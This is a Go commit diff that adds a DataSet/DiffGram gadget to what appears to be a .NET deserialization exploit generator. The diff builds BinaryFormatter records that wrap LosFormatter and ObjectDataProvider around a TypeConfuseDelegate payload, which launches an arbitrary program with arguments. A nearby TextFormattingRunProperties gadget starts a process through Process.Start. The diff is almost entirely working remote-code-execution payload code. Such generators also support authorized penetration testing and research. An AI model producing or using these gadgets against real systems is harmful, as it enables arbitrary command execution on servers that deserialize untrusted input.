@@ -108,6 +108,80 @@ func IsValidXML(data []byte) bool {
108
108
return xml .Unmarshal (data , new (interface {})) == nil
109
109
}
110
110
111
+ func CreateDataSetXMLDiffGram (program string , args string ) (string , bool ) {
112
+ string0 := `<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="dataset0">
113
+ <xs:element name="dataset0" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
114
+ <xs:complexType>
115
+ <xs:choice minOccurs="0" maxOccurs="unbounded">
116
+ <xs:element name="element0">
117
+ <xs:complexType>
118
+ <xs:sequence>
119
+ <xs:element name="element1" msdata:DataType="System.Collections.Generic.List` + "`" + `1[[System.Data.Services.Internal.ExpandedWrapper` + "`" + `2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
120
+ </xs:sequence>
121
+ </xs:complexType>
122
+ </xs:element>
123
+ </xs:choice>
124
+ </xs:complexType>
125
+ </xs:element>
126
+ </xs:schema>`
127
+
128
+ innerTypeConfuseDelegate , ok := CreateTypeConfuseDelegate (program , args , LOSFormatter )
129
+ if ! ok {
130
+ return "" , false
131
+ }
132
+ b64String := make ([]byte , base64 .StdEncoding .EncodedLen (len (innerTypeConfuseDelegate )))
133
+ base64 .StdEncoding .Encode (b64String , []byte (innerTypeConfuseDelegate ))
134
+ innerTypeConfuseDelegateBase64 := string (b64String )
135
+
136
+ string1 := `<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
137
+ <dataset0>
138
+ <element0 diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
139
+ <element1 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
140
+ <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
141
+ <ExpandedElement/>
142
+ <ProjectedProperty0>
143
+ <MethodName>Deserialize</MethodName>
144
+ <MethodParameters>
145
+ <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">` + innerTypeConfuseDelegateBase64 + `</anyType>
146
+ </MethodParameters>
147
+ <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
148
+ </ProjectedProperty0>
149
+ </ExpandedWrapperOfLosFormatterObjectDataProvider>
150
+ </element1>
151
+ </element0>
152
+ </dataset0>
153
+ </diffgr:diffgram>`
154
+ libraryID := 2
155
+ binaryLibrary := BinaryLibraryRecord {ID : libraryID , Library : "System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
156
+ className := "System.Data.DataSet"
157
+ memberNames := []string {"XmlSchema" , "XmlDiffGram" }
158
+ var memberValues []interface {}
159
+ var additionalInfo []interface {}
160
+ memberTypes := []string {
161
+ "String" ,
162
+ "String" ,
163
+ }
164
+ memberValues = append (memberValues , BinaryObjectRecord {ObjectID : 3 , Value : string0 })
165
+ memberValues = append (memberValues , BinaryObjectRecord {ObjectID : 4 , Value : string1 })
166
+ classInfo := ClassInfo {ObjectID : 1 , Name : className , MemberCount : len (memberNames ), MemberNames : memberNames }
167
+ memberTypeInfo , ok := getMemberTypeInfo (memberTypes , memberNames , additionalInfo )
168
+ if ! ok {
169
+ return "" , false
170
+ }
171
+ classWithMembersAndTypes := ClassWithMembersAndTypesRecord {ClassInfo : classInfo , LibraryID : libraryID , MemberTypeInfo : memberTypeInfo , MemberValues : memberValues , BinaryLibrary : binaryLibrary }
172
+ classWithMembersAndTypesString , ok := classWithMembersAndTypes .ToRecordBin ()
173
+ if ! ok {
174
+ return "" , false
175
+ }
176
+ serializationHeaderRecord := SerializationHeaderRecord {RootID : 1 , HeaderID : - 1 }
177
+ serializationHeaderRecordString , _ := serializationHeaderRecord .ToRecordBin ()
178
+ binLibString , _ := binaryLibrary .ToRecordBin ()
179
+
180
+ payload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + string (byte (RecordTypeEnumMap ["MessageEnd" ]))
181
+
182
+ return payload , true
183
+ }
184
+
111
185
func CreateTextFormattingRunProperties (program string , args string , formatter string ) (string , bool ) {
112
186
xmlData := fmt .Sprintf (`<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:X="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:S="clr-namespace:System;assembly=mscorlib" xmlns:D="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider X:Key="" ObjectType="{X:Type D:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><S:String>%s</S:String><S:String>%s</S:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>` , program , args )
113
187
0 commit comments